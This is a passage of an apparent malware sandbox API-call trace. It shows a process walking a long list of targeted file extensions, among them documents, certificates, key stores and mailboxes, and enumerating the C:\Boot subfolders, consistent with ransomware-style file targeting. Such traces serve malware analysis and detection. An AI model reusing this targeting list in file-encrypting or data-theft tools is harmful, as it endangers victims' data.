-1 [0034.432] lstrlenW (lpString=".msg") returned 4 [0034.432] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0034.432] lstrlenW (lpString=".mxl") returned 4 [0034.432] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0034.432] lstrlenW (lpString=".myd") returned 4 [0034.432] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0034.432] lstrlenW (lpString=".myi") returned 4 [0034.432] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0034.432] lstrlenW (lpString=".nef") returned 4 [0034.432] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0034.432] lstrlenW (lpString=".nrw") returned 4 [0034.432] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".obj") returned 4 [0034.433] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".odb") returned 4 [0034.433] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".odc") returned 4 [0034.433] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".odm") returned 4 [0034.433] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".odp") returned 4 [0034.433] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".ods") returned 4 [0034.433] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".oft") returned 4 [0034.433] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".one") returned 4 [0034.433] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".onepkg") returned 7 [0034.433] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0034.433] lstrlenW (lpString=".onetoc2") returned 8 [0034.433] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0034.433] lstrlenW (lpString=".opt") returned 4 [0034.433] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".oqy") returned 4 [0034.433] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".orf") returned 4 [0034.433] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".p12") returned 4 [0034.433] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".p7b") returned 4 [0034.433] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".p7c") returned 4 [0034.433] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0034.433] lstrlenW (lpString=".pam") returned 4 [0034.433] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pbm") returned 4 [0034.434] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pct") returned 4 [0034.434] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pcx") returned 4 [0034.434] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pdd") returned 4 [0034.434] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pdf") returned 4 [0034.434] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pdp") returned 4 [0034.434] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pef") returned 4 [0034.434] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pem") returned 4 [0034.434] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pff") returned 4 [0034.434] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pfm") returned 4 [0034.434] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pfx") returned 4 [0034.434] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".pgm") returned 4 [0034.434] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".php") returned 4 [0034.434] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0034.434] lstrlenW (lpString=".php3") returned 5 [0034.434] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0034.434] lstrlenW (lpString=".php4") returned 5 [0034.434] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0034.434] lstrlenW (lpString=".php5") returned 5 [0034.434] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0034.434] lstrlenW (lpString=".phtml") returned 6 [0034.434] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0034.435] lstrlenW (lpString=".pict") returned 5 [0034.435] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0034.435] lstrlenW (lpString=".pl") returned 3 [0034.435] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0034.435] lstrlenW (lpString=".pls") returned 4 [0034.435] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0034.435] lstrlenW (lpString=".pm") returned 3 [0034.435] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0034.435] lstrlenW (lpString=".png") returned 4 [0034.435] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0034.435] lstrlenW (lpString=".pnm") returned 4 [0034.435] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0034.435] lstrlenW (lpString=".pot") returned 4 [0034.435] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0034.435] lstrlenW (lpString=".potm") returned 5 [0034.435] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0034.435] lstrlenW (lpString=".potx") returned 5 [0034.435] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0034.435] lstrlenW (lpString=".ppa") returned 4 [0034.435] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0034.435] lstrlenW (lpString=".ppam") returned 5 [0034.435] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0034.435] lstrlenW (lpString=".ppm") returned 4 [0034.435] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0034.435] lstrlenW (lpString=".pps") returned 4 [0034.435] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0034.435] lstrlenW (lpString=".ppsm") returned 5 [0034.435] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0034.435] lstrlenW (lpString=".ppt") returned 4 [0034.435] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0034.435] lstrlenW (lpString=".pptm") returned 5 [0034.435] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0034.435] lstrlenW (lpString=".pptx") returned 5 [0034.436] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0034.436] lstrlenW (lpString=".prn") returned 4 [0034.436] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0034.436] lstrlenW (lpString=".ps") returned 3 [0034.436] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0034.436] lstrlenW (lpString=".psb") returned 4 [0034.436] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0034.436] lstrlenW (lpString=".psd") returned 4 [0034.436] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0034.436] lstrlenW (lpString=".pst") returned 4 [0034.436] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0034.436] lstrlenW (lpString=".ptx") returned 4 [0034.436] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0034.436] lstrlenW (lpString=".pub") returned 4 [0034.436] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0034.436] lstrlenW (lpString=".pwm") returned 4 [0034.436] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0034.436] lstrlenW (lpString=".pxr") returned 4 [0034.436] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0034.436] lstrlenW (lpString=".py") returned 3 [0034.436] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0034.436] lstrlenW (lpString=".qt") returned 3 [0034.436] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0034.436] lstrlenW (lpString=".r3d") returned 4 [0034.436] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0034.436] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0034.436] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.436] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0034.437] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.437] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a7b0 [0034.439] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.439] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.439] FindClose (in: hFindFile=0x56a7b0 | out: hFindFile=0x56a7b0) returned 1 [0034.439] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.439] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0034.439] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.439] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a7b0 [0034.440] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.440] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.440] FindClose (in: hFindFile=0x56a7b0 | out: hFindFile=0x56a7b0) returned 1 [0034.440] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.440] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0034.440] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.440] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a7b0 [0034.466] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.467] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.467] FindClose (in: hFindFile=0x56a7b0 | out: hFindFile=0x56a7b0) returned 1 [0034.467] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.467] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0034.467] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.467] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a7b0 [0034.481] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.481] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.482] FindClose (in: hFindFile=0x56a7b0 | out: hFindFile=0x56a7b0) returned 1 [0034.482] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.482] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0034.482] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.482] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a7b0 [0034.482] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.482] FindNextFileW (in: hFindFile=0x56a7b0, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.482] FindClose (in: hFindFile=0x56a7b0 | out: hFindFile=0x56a7b0) returned 1 [0034.482] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.482] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0034.483] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.483] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0034.486] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.486] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0034.486] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0034.486] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.486] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0034.486] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.486] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0034.591] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.591] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.591] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0034.591] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0034.591] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0034.591] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0034.591] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2eff808 | out: 